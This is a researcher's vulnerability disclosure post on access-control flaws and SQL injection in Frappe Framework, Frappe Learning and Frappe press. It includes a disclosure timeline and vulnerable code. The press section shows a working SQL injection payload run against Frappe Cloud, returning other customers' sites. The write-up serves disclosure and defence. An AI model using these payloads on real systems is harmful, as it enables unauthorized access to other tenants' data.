In this long-due post I describe some security vulnerabilities I found in Frappe Framework1, Frappe Learning2 and Frappe press3. While I did my best responsibly disclosing these vulnerabilities, the vendor was not very helpful in the process and did not communicate properly once the findings were sent their way.

Table of Contents


Introduction

In the summer of 2023, I was looking through open-source targets for vulnerability research. Learning Management Systems (LMS) were something I was considering researching for quite some time. So, I started searching for LMS projects on GitHub, and shortly after came across Frappe Learning.

Frappe Learning is an open-source project built on top of Frappe Framework, which is written in Python and JavaScript. Besides Frappe Learning, there is a long list4 of Frappe-based applications developed and maintained by the company behind the framework.

Before investing significant amount of time, I wanted to get a glimpse of the Frappe Learning codebase itself. I found the codebase to be quite clean and because I like reading through source code, it was time to start exploring further. For the main objective of this project, I set out to find attack paths for obtaining high-privilege access context on a Frappe Learning instance.

First steps included setting up a local instance of Frappe Learning and grabbing a copy of the source code repository. Next, I started exploring the application’s features and functionality by setting up student and administrative accounts along with several courses.

It was not long after manually testing and examining the source code, that I found the first two (2) bugs. Suprising? Perhaps. Exciting? Most definitely yes!

The search for more bugs, however, did not stop there. Auditing the rest of the codebase resulted in multiple security vulnerabilities affecting both Frappe framework and Frappe-based applications (e.g. Frappe Learning & Frappe press). In total, I discovered the following issues:

Product Vulnerability Title
Frappe Framework Insufficient Access Controls in Global Search
Frappe Learning SQL Injection in People Search
Frappe Learning Insufficient Access Controls in Course Review
Frappe press SQL Injection in Sites Listing

Shortly after discovering these vulnerabilities, I reached out to the vendor and responsibly disclosed my findings. After the vendor received my reports, they did not respond to any of my messages, including follow-up emails. Instead, they silently patched the reported vulnerabilities and decided to attribute the discovery both internally and elsewhere.

In the following sections below, I go over the details of these vulnerabilities.



OWASP Top 10 A01:2021 - Broken Access Control
CWE ID CWE-284 - Improper Access Control
Vendor URLs https://github.com/frappe/frappe
Affected Versions v14.41.0
CVE ID N/A

In applications developed with Frappe framework, insufficient access controls in the Global Search functionality allowed low-privilege users to access application data available only to users with elevated access permissions (e.g. administrators).

Global Search helps privileged users to quickly find information. Entering a few characters in the Search Bar showed results from several different record types (Contact, Customer, Issues, etc.) related to the keyword. When Global Search is utilised, user agents send HTTP POST requests to Frappe’s “/api/method/frappe.utils.global_search.search” endpoint.

For example, when using Global Search as an administrative user, the following HTTP POST request queried the backend application for any records matching the “User” keyword:

POST /api/method/frappe.utils.global_search.search HTTP/1.1
Host: machine:8000
Content-Length: 37
[...]
Connection: close

text=User&start=0&limit=1000&doctype=

Figure 1: Frappe’s Global Search Functionality

As a result of this request, the backend Frappe application server returned a list of Contact records matching the keyword:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 352
[...]
Connection: close

{
    "message": [
        {
            "doctype": "Contact",
            "name": "Student One",
            "content": "First Name : Student ||| Email Address : [email protected] ||| User Id : [email protected]",
            "rank": 1,
            "image": ""
        },
        {
            "doctype": "Contact",
            "name": "System Manager",
            "content": "First Name : System ||| Email Address : [email protected] ||| User Id : [email protected]",
            "rank": 1,
            "image": ""
        }
    ]
}

In a testing instance of Frappe Learning, I then confirmed that any authenticated Frappe Learning user could interact with the privileged Global Search functionality from a lower privilege context. As proof of concept, the following HTTP POST request used the session of a student user to interact with the Global Search functionality to list all records matching the “User” keyword:

POST /api/method/frappe.utils.global_search.search HTTP/1.1
Host: machine:8000
Content-Length: 37
[...]
Connection: close

text=User&start=0&limit=1000&doctype=

In response, backend Frappe application server returned the available Contact records matching the “User” keyword, as shown below:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 352
[...]
Connection: close

{
    "message": [
        {
            "doctype": "Contact",
            "name": "Student One",
            "content": "First Name : Student ||| Email Address : [email protected] ||| User Id : [email protected]",
            "rank": 1,
            "image": ""
        },
        {
            "doctype": "Contact",
            "name": "System Manager",
            "content": "First Name : System ||| Email Address : [email protected] ||| User Id : [email protected]",
            "rank": 1,
            "image": ""
        }
    ]
}

Root Cause Analysis

Global Search was implemented in the search() function of the Python3 frappe/frappe/utils/global_search.py class:

# File: frappe/frappe/utils/global_search.py
...
432: @frappe.whitelist()
433: def search(text, start=0, limit=20, doctype=""):
434: 	"""
435: 	Search for given text in __global_search
436: 	:param text: phrase to be searched
437: 	:param start: start results at, default 0
438: 	:param limit: number of results to return, default 20
439: 	:return: Array of result objects
440: 	"""
441: 	from frappe.desk.doctype.global_search_settings.global_search_settings import (
442: 		get_doctypes_for_global_search,
443: 	)
444: 	from frappe.query_builder.functions import Match
445: 
446: 	results = []
447: 	sorted_results = []
448: 
449: 	allowed_doctypes = get_doctypes_for_global_search()
450: 
451: 	for word in set(text.split("&")):
452: 		word = word.strip()
453: 		if not word:
454: 			continue
455: 
456: 		global_search = frappe.qb.Table("__global_search")
457: 		rank = Match(global_search.content).Against(word).as_("rank")
458: 		query = (
459: 			frappe.qb.from_(global_search)
460: 			.select(global_search.doctype, global_search.name, global_search.content, rank)
461: 			.orderby("rank", order=frappe.qb.desc)
462: 			.limit(limit)
463: 		)
464: 
465: 		if doctype:
466: 			query = query.where(global_search.doctype == doctype)
467: 		elif allowed_doctypes:
468: 			query = query.where(global_search.doctype.isin(allowed_doctypes))
469: 
470: 		if cint(start) > 0:
471: 			query = query.offset(start)
472: 
473: 		result = query.run(as_dict=True)
474: 
475: 		results.extend(result)
476: 
477: 	# sort results based on allowed_doctype's priority
478: 	for doctype in allowed_doctypes:
479: 		for index, r in enumerate(results):
480: 			if r.doctype == doctype and r.rank > 0.0:
481: 				try:
482: 					meta = frappe.get_meta(r.doctype)
483: 					if meta.image_field:
484: 						r.image = frappe.db.get_value(r.doctype, r.name, meta.image_field)
485: 				except Exception:
486: 					frappe.clear_messages()
487: 
488: 				sorted_results.extend([r])
489: 
490: 	return sorted_results
491: 
...

In this implementation, Frappe did not implement access controls to restrict access to Global Search for user roles with sufficient access privileges. Specifically, before or after the search query in line 458, the implementation did not contain any access control checks. Frappe silently patched this vulnerability in commit db01c05.



OWASP Top 10 A03:2021 - Injection
CWE ID CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vendor URLs https://github.com/frappe/lms
Affected Versions v1.0.0
CVE ID N/A

In the People directory web page of Frappe Learning, the “start” and “text” parameters of the user search functionality were vulnerable to SQL injection.

Authenticated low-privilege users, such as Frappe Learning students, could leverage this vulnerability to carry out SQL injection attacks and extract sensitive data from the backend database.

In Frappe Learning, the “People” web page is a directory of all users registered within a Frappe Learning instance. This page is accessible to both authenticated and unauthenticated users. Searching for specific users, however, is only available to authenticated users, including low-privileged accounts such as Frappe Learning students.

Figure 2: People directory web page of Frappe Learning as shown to unauthenticated users.

As an example, the following HTTP POST request was used to search for a specific user by utilising the search term “guest'”, as shown below:

POST / HTTP/1.1
Host: frappe-learning:8000
Content-Length: 54
X-Frappe-CMD: lms.overrides.user.search_users
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
[...]
Connection: keep-alive

start=0&text=guest'&cmd=lms.overrides.user.search_users

Figure 3: People directory web page of Frappe Learning as shown to authenticated users.

In the above HTTP POST request, the search term was represented by the “text” parameter. In that case, the “guest'” search term within the “text” parameter contained a single quotation mark (‘). As a result, the backend application responded with an SQL syntax error because the single quotation mark is a special character in SQL queries and caused a syntax error:

HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: application/json
Content-Length: 4249
[...]
Connection: close

{
    "exception": "pymysql.err.ProgrammingError: (1064, \"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''%' OR u.full_name like '%guest'%' OR u.email like '%guest'%' OR u.preferred_...' at line 15\")",
    "exc_type": "ProgrammingError",
    "_exc_source": "lms (app)",
    [...]
}

With the above syntax error in hand, exploitation of this vulnerabilty was fairly straight forward with tools such as SQLmap.

Root Cause Analysis

Frappe LMS implements the People search functionality in the search_users() function of the Python3 lms.overrides.user class:

# File: lms/lms/overrides/user.py
268: @frappe.whitelist()
269: def search_users(start=0, text=""):
270:    or_filters = get_or_filters(text)
271:    count = len(get_users(or_filters, 0, 900000000, text))
272:    users = get_users(or_filters, start, 24, text)
273:    user_details = get_user_details(users)
274: 
275:    return {"user_details": user_details, "start": cint(start) + 24, "count": count}
...

In line 270, user-controlled input originating from the “text” HTTP parameter was passed to the get_or_filters() function which creates text-based SQL query filters:

... 
278: def get_or_filters(text):
279:    user_fields = [
280:        "first_name",
281:        "last_name",
282:        "full_name",
283:        "email",
284:        "preferred_location",
285:        "dream_companies",
286:    ]
287:    education_fields = ["institution_name", "location", "degree_type", "major"]
288:    work_fields = ["title", "company"]
289:    certification_fields = ["certification_name", "organization"]
290: 
291:    or_filters = []
292:    if text:
293:        for field in user_fields:
294:            or_filters.append(f"u.{field} like '%{text}%'")
295:        for field in education_fields:
296:            or_filters.append(f"ed.{field} like '%{text}%'")
297:        for field in work_fields:
298:            or_filters.append(f"we.{field} like '%{text}%'")
299:        for field in certification_fields:
300:            or_filters.append(f"c.{field} like '%{text}%'")
301: 
302:        or_filters.append(f"s.skill_name like '%{text}%'")
303:        or_filters.append(f"pf.function like '%{text}%'")
304:        or_filters.append(f"pi.industry like '%{text}%'")
305: 
306:    return "AND ({})".format(" OR ".join(or_filters)) if or_filters else ""
...

In the get_or_filters() function implementation, the user-controlled input from the “text” HTTP parameter was simply concatenated in the created SQL filter without performing any input sanitization. At lines 271-273, the SQL filter along with input from the “start” HTTP parameter was passed to the get_users() function. Subsequently, get_users called frappe.db.sql() using the “start” parameter and the constructed SQL filter (“or_filters”) to retrieve users from the backend database:

...
323: def get_users(or_filters, start, page_length, text):
324:    # nosemgrep
325:    users = frappe.db.sql(
326:        """
327:         SELECT DISTINCT u.name
328:         FROM `tabUser` u
329:         LEFT JOIN `tabEducation Detail` ed
330:         ON u.name = ed.parent
331:         LEFT JOIN `tabWork Experience` we
332:         ON u.name = we.parent
333:         LEFT JOIN `tabCertification` c
334:         ON u.name = c.parent
335:         LEFT JOIN `tabSkills` s
336:         ON u.name = s.parent
337:         LEFT JOIN `tabPreferred Function` pf
338:         ON u.name = pf.parent
339:         LEFT JOIN `tabPreferred Industry` pi
340:         ON u.name = pi.parent
341:         WHERE u.enabled = True {or_filters}
342:         ORDER BY u.creation desc
343:         LIMIT {start}, {page_length}
344:    """.format(
345:            or_filters=or_filters, start=start, page_length=page_length
346:        ),
347:        as_dict=1,
348:    )
349: 
350:    return users
...

In the implementation of get_users(), however, user-controllable input from the “start” and “text” HTTP parameters ended up in the frappe.db.sql() function and resulted in SQL injection. Specifically, SQL injection occurs because, by default, Frappe’s frappe.db.sql() function does not perform any input validation or sanitization and parameterization of queries5:

Avoid using this method as it will bypass validations and integrity checks. It’s always better to use frappe.getdoc, frappe.db.getlist, etc., if possible.

Frappe silently patched this vulnerability in commit d90bb1e.




Frappe Learning: Insufficient Access Controls in Course Review

OWASP Top 10 A01:2021 - Broken Access Control
CWE ID CWE-284 - Improper Access Control
Vendor URLs https://github.com/frappe/lms
Affected Versions v1.0.0
CVE ID N/A

In Frappe Learning, the course review functionality did not implement sufficient access controls. This vulnerability could be abused by authenticated students to submit an arbitrary number of reviews to both enrolled and unenrolled courses.

Frappe Learning students enrolled in courses can review the course by providing a star rating and a text description through the “Write a Review” functionality. By design, students are only allowed to submit one review per course.

For example, the following HTTP POST request is sent when a student leaves a review for the “test-course” course:

POST / HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 169
User-Agent: Mozilla/5.0 [...] Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CMD: lms.lms.doctype.lms_course_review.lms_course_review.submit_review
Referer: http://127.0.0.1:8000/courses/test-course
Cookie: system_user=no; user_image=; sid=48c62[...]468; full_name=Student%20Test;
user_id=student_test%40lms.local
[...]
Connection: close

rating=5&review=Very+well+organized+course%2C+learned+quite+a+lot+of+new+topics.&course=test-course&cmd=lms.lms.doctype.lms_course_review.lms_course_review.submit_review

In return, the backend application server accepts the course review and responds with an “OK” message:

HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.10.5
Content-Type: application/json
Content-Length: 16
[...]
Connection: close

{
    "message": "OK"
}

However, further examination of the “Write a Review” functionality revealed that it is possible for students to submit more than one review per course.

As proof of concept, the following HTTP POST request attempts to write a second review on the same “test-course” course:

POST / HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 141
User-Agent: Mozilla/5.0 [...] Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CMD: lms.lms.doctype.lms_course_review.lms_course_review.submit_review
Referer: http://127.0.0.1:8000/courses/test-course
Cookie: system_user=no; user_image=; sid=48c624[...]66468; full_name=Student%20Test;
user_id=student_test%40lms.local
[...]
Connection: close

rating=4&review=My+second+review+of+the+same+course.&course=test-course&cmd=lms.lms.doctype.lms_course_review.lms_course_review.submit_review

In response, the review was successfully submitted even though students are limited to one review per course:

HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.10.5
Content-Type: application/json
Content-Length: 16
[...]
Connection: close

{
    "message": "OK"
}

Root Cause Analysis

The implementation of the course review functionality could be found in the submit_review() function within the Python3 lms.lms.doctype.lms_course_review.lms_course_review class:

# File: lms/lms/doctype/lms_course_review/lms_course_review.py
13: @frappe.whitelist()
14: def submit_review(rating, review, course):
15:     out_of_ratings = frappe.db.get_all(
16:         "DocField", {"parent": "LMS Course Review", "fieldtype": "Rating"}, ["options"]
17:     )
18:     out_of_ratings = (len(out_of_ratings) and out_of_ratings[0].options) or 5
19:     rating = cint(rating) / out_of_ratings
20:     frappe.get_doc(
21:         {"doctype": "LMS Course Review", "rating": rating, "review": review, "course": course}
22:     ).save(ignore_permissions=True)
23:     return "OK"
24: 

In this implementation, Frappe LMS does not enforce any access controls to prevent students from submitting more than one reviews. Specifically, the business logic of this implementation allows authenticated Frappe Learning students to submit an arbitrary number of reviews to both enrolled and unenrolled courses. Frappe silently patched this vulnerability in commit e1d61c9.



Frape press: SQL Injection in Sites Listing

OWASP Top 10 A03:2021 - Injection
CWE ID CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vendor URLs https://github.com/frappe/press
Affected Versions v0.7.0
CVE ID N/A

Frappe press is a custom Frappe app that happens to be utilised by Frappe to run their own SaaS platform (Frappe Cloud). I found an SQL injection vulnerability affecting the functionality that allowed users to list their sites using tag filtering.

Authenticated Frappe Cloud users could exploit this vulnerability to execute arbitrary SQL queries against the backend database and extract sensitive application data including the data of Frappe Cloud customers. In standalone Frappe press installations, this vulnerability would allow for similar type of unauthorised access to the backend database.

Listing all the sites of one’s account using a specific tag involved an HTTP POST request to the /api/method/press.api.site.all endpoint. As an example, the following HTTP POST request was sent to list all sites containing the “test” tag:

POST /api/method/press.api.site.all HTTP/1.1
Host: frappecloud.com
Cookie: [...]
Content-Length: 27
X-Frappe-Site-Name: frappecloud.com
Content-Type: application/json; charset=utf-8

{
    "site_filter": "tag:test"
}

In response, Frappe press returned a list of the available sites (if any). In this case the Frappe press account did not contain any sites:

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
Content-Length: 14
[...]

{
    "message": []
}

In the Frappe Cloud instance, a test account was used to send the following HTTP POST request with a single apostrophe character in the “test” tag filter:

POST /api/method/press.api.site.all HTTP/1.1
Host: frappecloud.com
[...]
Content-Type: application/json; charset=utf-8

{
    "site_filter": "tag:test'"
}

As a result, since apostrophe characters have special meaning in SQL, the backend server responded with an SQL syntax error:

HTTP/1.1 500 Internal Server Error
Server: nginx
[...]
Content-Type: application/json
Content-Length: 3477


{
    "exception": "pymysql.err.ProgrammingError: (1064, \"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''test'')\\n\\t\\t\\tORDER BYcreation DESC' at line 6\")",
    [...]
}

As proof of concept, I used a simple payload to exploit the SQL injection vulnerability and retrieve the sites of all teams that started with “3”:

POST /api/method/press.api.site.all HTTP/1.1
Host: frappecloud.com
[...]
Content-Length: 53

{
    "site_filter": "tag: aa') OR s.team LIKE '3%%' -- "
}

This resulted in a listing of all sites belonging to Frappe Cloud teams starting with the number “3”:

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
[...]

{
    "message": [
        {
            "name": "be********bo.erpnext.com",
            "host_name": "be********bo.erpnext.com",
            "status": "Active",
            "creation": "2023-07-23 05:19:45.210198",
            "bench": "bench-5503-000007-f3-frankfurt",
            "current_cpu_usage": 1,
            "current_database_usage": 0,
            "current_disk_usage": 0,
            "trial_end_date": "2023-08-06",
            "team": "31********6b",
            "title": "Version 15 Beta SaaS",
            "version": "Version 15 Beta"
        },
        {
            "name": "yu********ak.erpnext.com",
            "host_name": "yu********ak.erpnext.com",
            "status": "Active",
            "creation": "2023-07-23 02:55:14.384464",
            "bench": "bench-5503-000007-f3-frankfurt",
            "current_cpu_usage": 0,
            "current_database_usage": 0,
            "current_disk_usage": 0,
            "trial_end_date": "2023-08-06",
            "team": "37********5f",
            "title": "Version 15 Beta SaaS",
            "version": "Version 15 Beta"
        },
        {
            "name": "ra********i.erpnext.com",
            "host_name": "ra********i.erpnext.com",
            "status": "Active",
            "creation": "2023-07-23 00:54:22.731471",
            "bench": "bench-5503-000007-f3-frankfurt",
            "current_cpu_usage": 2,
            "current_database_usage": 0,
            "current_disk_usage": 0,
            "trial_end_date": "2023-08-06",
            "team": "38********6c",
            "title": "Version 15 Beta SaaS",
            "version": "Version 15 Beta"
        },[...]
    ]
}

Given the sensitive nature of production systems, and in accordance with Frappe’s scope, no further testing activities were carried out beyond the above proof of concept.

Root Cause Analysis

Fundamentally, the site search functionality was implemented in the all() function of the Python3 press/api/site.py class:

# File: press/press/api/site.py
692: @frappe.whitelist()
693: def all(site_filter=""):
694:    return get_sites(site_filter=site_filter)

When called (line 692), the all() function called and passed any incoming filters to the get_sites() function (line 694).

Within the get_sites() function, when tag filtering was used (lines 668-670) user-controllable input from the “site_filter” parameter was unsafely concatenated in an SQL query condition:

# File: press/press/api/site.py
647: def get_sites(site_filter=""):
648:    from press.press.doctype.team.team import get_child_team_members
649: 
650:    team = get_current_team()
651:    child_teams = [x.name for x in get_child_team_members(team)]
652:    if not child_teams:
653:        condition = f"= '{team}'"
654:    else:
655:        condition = f"in {tuple([team] + child_teams)}"
656: 
657:    benches_with_updates = tuple(benches_with_available_update())
658: 
659:    status_condition = "!= 'Archived'"
660:    if site_filter == "Active":
661:        status_condition = "= 'Active'"
662:    elif site_filter == "Broken":
663:        status_condition = "= 'Broken'"
664:    elif site_filter == "Trial":
665:        condition = f"{condition} AND s.trial_end_date != ''"
666:    elif site_filter == "Update Available":
667:        condition = f"{condition} AND s.bench IN {benches_with_updates}"
668:    elif site_filter.startswith("tag:"):
669:        tag = site_filter[4:]
670:        condition = f"{condition} AND s.name IN (SELECT parent FROM `tabResource Tag` WHERE tag_name = '{tag}')"
671: 
672:    sites = frappe.db.sql(
673:        f"""
674:            SELECT s.name, s.host_name, s.status, s.creation, s.bench, s.current_cpu_usage, s.current_database_usage, s.current_disk_usage, s.trial_end_date, s.team, s.cluster, rg.title, rg.version
675:            FROM `tabSite` s
676:            LEFT JOIN `tabRelease Group` rg
677:            ON s.group = rg.name
678:            WHERE s.status {status_condition}
679:            AND s.team {condition}
680:            ORDER BY creation DESC""",
681:        as_dict=True,
682:    )
683: 
684:    for site in sites:
685:        site.server_region_info = get_server_region_info(site)
686:        if site.bench in benches_with_updates:
687:            site.update_available = True
688: 
689:    return sites

In lines 672 through 682 this query condition lead to SQL injection since the unsafe5 frappe.db.sql() function was used:

Avoid using this method as it will bypass validations and integrity checks. It’s always better to use frappe.getdoc, frappe.db.getlist, etc., if possible.

Frappe silently patched this vulnerability in commit 610b113.



Timeline

  • June 11, 2023: I reached out to Frappe to initiate the responsible disclosure process and requested a public PGP key.
  • June 15, 2023: I reached out again to ask for a public PGP key;
  • June 21, 2023: Frappe stated I could submit the details of my findings directly to [email protected]; I insisted on using an encrypted exchange format.
  • July 4, 2023: Frappe responded and instructed me to use an SSH public key to encrypt the data.
  • July 23, 2023: Reported my findings to Frappe.
  • July 27, 2023: I sent a follow up email to see if Frappe received the findings; did not receive a reply.
  • August 8, 2023: Frappe silently patches the Frappe press vulnerability.
  • August 13, 2023: Frappe silently patches the Frappe Learning SQL injection vulnerability; credits were given elsewhere.
  • October 5, 2023: I sent a follow up email to see Frappe had any updates given all this time had passed and since they patched some of the findings.
  • October 31, 2023: Frappe silently patches the Frappe Framework vulnerability; no credits were given.
  • December 21, 2023: Frappe silently patches the second Frappe Learning vulnerability; no credits were given.
  • January 30, 2025: Public disclosure (albeit a bit late).


Conclusions

Frappe’s codebases are quite clean and a blast to review. In my opinion there’s plenty more opportunities for further security research in Frappe products, given their products are open source and quite popular on GitHub.

It’s clear that the developers missed that the raw database SQL query function did not perform any validation and was fundamentally unsafe to use. It goes to show that this can happen very easily even in frameworks with Object-Relational Mapping (ORM) interfaces in place.

While Frappe addressed the reported security vulnerabilities, they did so without ever communicating or acknowledging anything in the process. This practice does not help in fostering collaboration, and to the contrary, it makes disclosing vulnerabilities a painful endeavour.

Frappe’s security team could have handled this situation way better, by being more transparent and communicative. Moving forward, Frappe should sigificantly improve the responsible disclosure process by making it easier for researchers and contributors to submit and disclose security vulnerabilities.



References

  1. https://github.com/frappe/frappe 

  2. https://github.com/frappe/lms 

  3. https://github.com/frappe/press 

  4. https://frappe.io/ 

  5. https://docs.frappe.io/framework/user/en/api/database#frappedbsql  2